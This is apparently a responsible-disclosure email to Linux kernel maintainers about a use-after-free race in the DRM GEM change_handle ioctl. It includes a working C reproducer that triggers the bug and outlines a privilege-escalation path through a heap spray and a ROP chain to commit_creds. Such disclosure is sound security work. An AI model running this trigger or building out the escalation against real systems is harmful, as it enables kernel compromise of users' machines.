Hi,

We found a use-after-free caused by a handle_count underflow race in
drm_gem_change_handle_ioctl. The old handle remains live in the IDR
during the lock-gap between spin_unlock(&table_lock) and the subsequent
spin_lock(&table_lock), allowing a concurrent GEM_CLOSE on the same
handle to decrement handle_count to 0 and free the GEM object while the
new handle still references it in the IDR. On drivers with a .close
callback (i915, amdgpu, nouveau), the subsequent close of the dangling
new handle dereferences a freed vtable pointer at offset 624, enabling
function pointer hijack for local privilege escalation.

## Affected versions

Verified on Linux v7.1.0-rc4 (arm64, CONFIG_DRM=y, CONFIG_DRM_VGEM=y).

Introduced:      v7.1-rc3  commit 5e28b7b94408 ("drm: Set old handle to
                           NULL before prime swap in change_handle")
Feature origin:  v6.18     commit 53096728b891 ("drm: Add DRM prime
                           interface to reassign GEM handle")
Latest affected: v7.1-rc4 (current mainline)

The race was introduced by 5e28b7b94408 which attempted to fix a
different concurrency issue with change_handle but left the old handle
live in the IDR during the lock-gap.

## Description

drm_gem_change_handle_ioctl performs a "move" operation: it allocates a
new IDR slot for the GEM object and removes the old one. The operation
drops table_lock between setting up the new handle placeholder and
completing the move (to perform prime bookkeeping under prime.lock).

During this window (drivers/gpu/drm/drm_gem.c, between line 1068 and
line 1085), IDR[old_handle] still contains obj. A concurrent
drm_gem_handle_delete(old_handle) can:

  1. Acquire table_lock, idr_replace the old handle with NULL, release
     table_lock — this succeeds because the old handle is still live.
  2. Call drm_gem_object_release_handle, which blocks on prime.lock
     (held by change_handle).
  3. After change_handle completes and releases prime.lock, the blocked
     delete finishes: it calls drm_gem_object_handle_put_unlocked,
     decrementing handle_count from 1 to 0.
  4. handle_count == 0 triggers the final drm_gem_object_put, freeing
     the object. But IDR[new_handle] still points to it.

change_handle treats the operation as a rename — it never increments
handle_count for the new handle, and never decrements it for the old
handle. The concurrent delete's decrement produces a net underflow.

The WARNING at drm_gem.c:340 (the WARN_ON(handle_count == 0) guard in
drm_gem_object_handle_put_unlocked) fires on each race win, confirming
the underflow.

## Impact

  - handle_count underflow to 0: triggers premature object free while
    IDR[new_handle] still references the object.

  - UAF on GEM object (drm_gem_shmem_object, 720 bytes, kmalloc-1024):
    subsequent GEM_CLOSE on the dangling new handle dereferences freed
    memory including obj->funcs vtable pointer at offset 624.

  - Function pointer hijack: on DRM drivers with a .close callback
    (i915, amdgpu, nouveau), obj->funcs->close(obj, file_priv) is
    called from freed/resprayed memory — attacker-controlled function
    pointer execution in kernel context.

  - Local privilege escalation: heap spray of kmalloc-1024 with
    controlled data overwrites obj->funcs, enabling ROP/JOP chain to
    commit_creds(prepare_kernel_cred(0)).

## Conditions

  - CONFIG_DRM=y (enabled on all desktop/server distro kernels)
  - Any DRM driver providing GEM objects (VGEM, i915, amdgpu, etc.)
  - DRM render node access (/dev/dri/renderD* — typically mode 0666 on
    desktop Linux, or video/render group membership)
  - No capabilities required
  - Two threads sharing the same DRM fd (pthread_create or fork)
  - Architecture independent (verified on arm64)

## Suspected location

  drivers/gpu/drm/drm_gem.c:
    - drm_gem_change_handle_ioctl: spin_unlock(&table_lock) at ~line 1068
      opens the race window; old handle remains in IDR
    - drm_gem_object_handle_put_unlocked (~line 340): WARN_ON fires when
      handle_count == 0 due to concurrent close during the lock-gap
    - drm_gem_handle_delete (~line 400): concurrent delete succeeds on old
      handle while change_handle holds only prime.lock

## Reproducer

Build:  gcc -o trigger_v3 trigger_v3.c -static -lpthread
Run:    ./trigger_v3 [iterations]  (default: 20000)
Kernel: v7.1-rc3+ with CONFIG_DRM=y, CONFIG_DRM_VGEM=y
Result: 5 races won in ~1300 iterations (0.38% hit rate) on arm64 QEMU
        (2 vCPU, HVF acceleration)

Each race win triggers WARNING at drm_gem.c:340 confirming handle_count
underflow. The PoC uses PRIME export (DRM_IOCTL_PRIME_HANDLE_TO_FD) to
widen the race window by forcing change_handle through the
drm_prime_add_buf_handle path.

Verified on arm64.

Kernel output (dmesg, fires on each race win):

  WARNING: drivers/gpu/drm/drm_gem.c:340 at 
drm_gem_object_handle_put_unlocked+0x23c/0x34c, CPU#1: trigger_v3/61
  CPU: 1 UID: 0 PID: 61 Comm: trigger_v3 Not tainted 7.1.0-rc4 #2 PREEMPTLAZY
  Call trace:
   drm_gem_object_handle_put_unlocked+0x23c/0x34c (P)
   drm_gem_object_release_handle+0xa0/0x208
   drm_gem_handle_delete+0x64/0xb0
   drm_gem_close_ioctl+0xc4/0x114
   drm_ioctl_kernel+0x128/0x2ac
   drm_ioctl+0x478/0xa38
   __arm64_sys_ioctl+0x578/0x10cc

--- trigger_v3.c ---
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <stdatomic.h>
#include <sched.h>

#ifndef FUTEX_WAIT
#define FUTEX_WAIT 0
#define FUTEX_WAKE 1
#endif

struct drm_mode_create_dumb {
    uint32_t height;
    uint32_t width;
    uint32_t bpp;
    uint32_t flags;
    uint32_t handle;
    uint32_t pitch;
    uint64_t size;
};

struct drm_gem_close {
    uint32_t handle;
    uint32_t pad;
};

struct drm_gem_change_handle {
    uint32_t handle;
    uint32_t new_handle;
};

struct drm_prime_handle {
    uint32_t handle;
    uint32_t flags;
    int32_t fd;
};

#define DRM_IOCTL_MODE_CREATE_DUMB   _IOWR('d', 0xB2, struct 
drm_mode_create_dumb)
#define DRM_IOCTL_GEM_CLOSE          _IOW('d', 0x09, struct drm_gem_close)
#define DRM_IOCTL_GEM_CHANGE_HANDLE  _IOWR('d', 0xD2, struct 
drm_gem_change_handle)
#define DRM_IOCTL_PRIME_HANDLE_TO_FD _IOWR('d', 0x2D, struct drm_prime_handle)
#define DRM_RDWR 0x02

static int futex_wait(int *addr, int val) {
    return syscall(SYS_futex, addr, FUTEX_WAIT, val, NULL, NULL, 0);
}
static int futex_wake(int *addr, int count) {
    return syscall(SYS_futex, addr, FUTEX_WAKE, count, NULL, NULL, 0);
}

struct race_ctx {
    int drm_fd;
    uint32_t old_handle;
    uint32_t new_handle;
    int barrier __attribute__((aligned(4)));
    int change_ret;
    int close_ret;
};

static void *thread_change(void *arg) {
    struct race_ctx *ctx = arg;
    struct drm_gem_change_handle ch = {
        .handle = ctx->old_handle,
        .new_handle = ctx->new_handle,
    };
    __atomic_add_fetch(&ctx->barrier, 1, __ATOMIC_SEQ_CST);
    futex_wait(&ctx->barrier, 1);
    ctx->change_ret = ioctl(ctx->drm_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch);
    if (ctx->change_ret < 0) ctx->change_ret = -errno;
    return NULL;
}

static void *thread_close(void *arg) {
    struct race_ctx *ctx = arg;
    struct drm_gem_close cl = { .handle = ctx->old_handle };
    __atomic_add_fetch(&ctx->barrier, 1, __ATOMIC_SEQ_CST);
    futex_wait(&ctx->barrier, 2);
    ctx->close_ret = ioctl(ctx->drm_fd, DRM_IOCTL_GEM_CLOSE, &cl);
    if (ctx->close_ret < 0) ctx->close_ret = -errno;
    return NULL;
}

static int find_drm(void) {
    char path[64];
    for (int i = 0; i < 16; i++) {
        snprintf(path, sizeof(path), "/dev/dri/card%d", i);
        int fd = open(path, O_RDWR);
        if (fd >= 0) { printf("[+] %s\n", path); return fd; }
    }
    return -1;
}

int main(int argc, char *argv[]) {
    int max_iters = 20000;
    if (argc > 1) max_iters = atoi(argv[1]);

    printf("=== DRM GEM change_handle Race v3 (KASAN trigger) ===\n");

    int fd = find_drm();
    if (fd < 0) { fprintf(stderr, "[-] No DRM device\n"); return 1; }

    int wins = 0;
    for (int i = 0; i < max_iters; i++) {
        struct drm_mode_create_dumb create = {
            .height = 1, .width = 64, .bpp = 32,
        };
        if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create) < 0) {
            usleep(1000);
            continue;
        }

        /* PRIME export to widen race window AND add kref complexity */
        struct drm_prime_handle prime = {
            .handle = create.handle, .flags = DRM_RDWR,
        };
        ioctl(fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, &prime);
        if (prime.fd >= 0) close(prime.fd);

        uint32_t new_handle = 50000 + (i % 40000);

        struct race_ctx ctx = {
            .drm_fd = fd,
            .old_handle = create.handle,
            .new_handle = new_handle,
            .barrier = 0,
        };

        pthread_t t1, t2;
        pthread_create(&t1, NULL, thread_change, &ctx);
        pthread_create(&t2, NULL, thread_close, &ctx);

        while (__atomic_load_n(&ctx.barrier, __ATOMIC_SEQ_CST) < 2)
            sched_yield();
        __atomic_store_n(&ctx.barrier, 3, __ATOMIC_SEQ_CST);
        futex_wake(&ctx.barrier, 2);

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);

        int both_ok = (ctx.change_ret == 0 && ctx.close_ret == 0);

        if (both_ok) {
            wins++;
            printf("[!!!] RACE WON iter=%d wins=%d\n", i, wins);

            /*
             * At this point:
             * - handle_count was decremented to 0 by the concurrent close
             * - The object MAY be freed (kref reached 0)
             * - IDR[new_handle] still points to the object
             *
             * Give the kernel time to fully process the free.
             * Then trigger the UAF by closing new_handle.
             */
            usleep(10000);  /* 10ms — let slab free complete */

            /* Close the dangling new_handle → UAF access in release_handle */
            struct drm_gem_close uaf = { .handle = new_handle };
            int r = ioctl(fd, DRM_IOCTL_GEM_CLOSE, &uaf);
            printf("    UAF close: %d (%s)\n", r, r < 0 ? strerror(errno) : 
"ok");

            if (wins >= 5) break;
            continue;
        }

        /* Cleanup */
        if (ctx.change_ret == 0) {
            struct drm_gem_close cl = { .handle = new_handle };
            ioctl(fd, DRM_IOCTL_GEM_CLOSE, &cl);
        } else if (ctx.close_ret != 0) {
            struct drm_gem_close cl = { .handle = create.handle };
            ioctl(fd, DRM_IOCTL_GEM_CLOSE, &cl);
        }

        if (i % 1000 == 0 && i > 0)
            printf("[*] iter=%d wins=%d\n", i, wins);
    }

    printf("\n=== Results: %d races won in %d iters ===\n", wins, max_iters);
    close(fd);
    return wins > 0 ? 0 : 1;
}
--- end trigger_v3.c ---

## Fix

We have submitted a patch via git-send-email:

  Message-ID: <[email protected]>

## Credit

This vulnerability was discovered by:

  - XlabAI Team of Tencent Xuanwu Lab ([email protected])
  - Atuin Automated Vulnerability Discovery Engine
  - Zhenghang Xiao ([email protected])
  - Guannan Wang ([email protected])
  - Zhanpeng Liu ([email protected])
  - Jiashuo Liang ([email protected])
  - Guancheng Li ([email protected])

CVE and credits are preferred.

If you have any questions regarding the vulnerability details, please
feel free to reach out to us for further discussion. Our email address
is [email protected].

We follow the security industry standard disclosure policy -- the 90+30
policy (reference: 
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html).
If the aforementioned vulnerabilities cannot be fixed within 90 days of
submission, we reserve the right to publicly disclose all information
about the issues after this timeframe.


Reply via email to